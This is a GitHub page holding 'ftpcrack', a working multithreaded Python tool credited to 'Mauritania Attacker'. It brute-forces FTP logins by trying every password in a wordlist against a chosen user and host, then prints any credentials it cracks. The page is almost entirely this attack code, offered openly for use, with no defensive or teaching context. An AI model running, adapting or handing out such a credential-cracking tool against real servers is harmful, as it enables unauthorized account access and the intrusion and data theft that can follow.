-
Notifications
You must be signed in to change notification settings - Fork 1
/
ftpbruteforce.sh
158 lines (134 loc) · 4.52 KB
/
ftpbruteforce.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#!/usr/bin/python
import argparse, signal, Queue, time
from threading import Thread, Lock
from sys import argv, stdout
from os import getpid, kill
from ftplib import FTP, error_perm
class myThread (Thread):
def __init__(self, threadID, name, q):
Thread.__init__(self)
self.threadID = threadID
self.name = name
self.q = q
def run(self):
ftpcrack(self.name, self.q)
class Timer():
def __enter__(self): self.start = time.time()
def __exit__(self, *args):
taken = time.time() - self.start
seconds = int(time.strftime('%S', time.gmtime(taken)))
minutes = int(time.strftime('%M', time.gmtime(taken)))
hours = int(time.strftime('%H', time.gmtime(taken)))
if minutes > 0:
if hours > 0:
print " [*] Time elapsed " + str(hours) + " hours, " + str(minutes) + " minutes and " + str(seconds) + " seconds at " + str(round(len(passwords) / taken,2)) + " trys per second."
else:
print " [*] Time elapsed " + str(minutes) + " minutes and " + str(seconds) + " seconds at " + str(round(len(passwords) / taken,2)) + " trys per second."
else:
print " [*] Time elapsed " + str(seconds) + " seconds at " + str(round(len(passwords) / taken,2)) + " trys per second."
class Printer():
def __init__(self,data):
stdout.write("\r\x1b[K"+data.__str__())
stdout.flush()
def ftpcrack(threadName, q):
while not exitFlag:
queueLock.acquire()
if not workQueue.empty():
password = q.get()
queueLock.release()
mdone = ""
while not mdone:
try:
FTP(host, user, password)
print(" [*] Cracked: " + user + ":" + password + " **-- Successful Login!")
creds = user + ":" + password
cracked.append(creds)
mdone = "1"
except error_perm:
if len(password) < 20:
add = 20 - int(len(password))
password = str(password) + " " * add
progdone = len(passwords) - workQueue.qsize()
percent = round(float(100.00) / len(passwords) * progdone,2)
token = time.time() - startcnt
eta = round(token / progdone * len(passwords) - token,2)
Printer(" [>] " + str(percent) + "% Now trying: " + str(progdone) + "/" + str(len(passwords)) + " at " + str(round(progdone / token,2)) + " tries per second User: " + user + " Password: " + password + " - Unsuccessful Login ETA: " + str(time.strftime('%H:%M:%S', time.gmtime(eta))))
mdone = "1"
else:
pass
else:
queueLock.release()
def killpid(signum = 0, frame = 0):
print "\r\x1b[K"
kill(getpid(), 9)
parser = argparse.ArgumentParser(prog='ftpcrack', usage='ftpcrack [options]')
parser.add_argument('-t', "--threads", type=int, help='number of threads (default: 100)')
parser.add_argument('-i', "--ip", type=str, help='host to attack')
parser.add_argument('-u', "--user", type=str, help='username to attack')
parser.add_argument('-w', "--wordlist", type=str, help='wordlist')
args = parser.parse_args()
print '''
__ _ _
/ _| |_ _ __ ___ _ __ __ _ ___| | __
| |_| __| '_ \ / __| '__/ _` |/ __| |/ /
| _| |_| |_) | (__| | | (_| | (__| <
|_| \__| .__/ \___|_| \__,_|\___|_|\_\
|_|
Developped By Mauritania Attacker
'''
if len(argv) == 1:
parser.print_help()
exit()
signal.signal(signal.SIGINT, killpid)
queueLock = Lock()
cracked = []
threads = []
creds = ""
exitFlag = 0
threadID = 1
maxthreads = 40
if args.threads:
maxthreads = args.threads
passwords = [line.strip() for line in open(args.wordlist, 'r')]
user = args.user
host = args.ip
if not passwords or not user or not host:
parser.print_help()
exit()
try:
connection = FTP(host, timeout=2)
wlcmsg = connection.getwelcome()
print wlcmsg
print
except:
print " [X] Error: it doesn't look like " + str(host) + " is an FTP server.."
print
exit()
print " [*] Loading " + str(len(passwords)) + " passwords to try.."
workQueue = Queue.Queue(len(passwords))
queueLock.acquire()
for passw in passwords:
workQueue.put(passw)
queueLock.release()
while threadID <= maxthreads:
tname = str("Thread-") + str(threadID)
thread = myThread(threadID, tname, workQueue)
thread.start()
threads.append(thread)
threadID += 1
startcnt = time.time()
print " [*] Starting attack on " + str(user) + "@" + str(host) + " with " + str(maxthreads) + " threads."
print
with Timer():
while not workQueue.empty():
if cracked:
exitFlag = 1
else:
pass
exitFlag = 1
for t in threads:
t.join()
if cracked:
print "\r\x1b[K\n [*] All threads has been completed, Cracked!! ^_^"
else:
print "\r\x1b[K\n [*] All threads has been completed, not cracked :("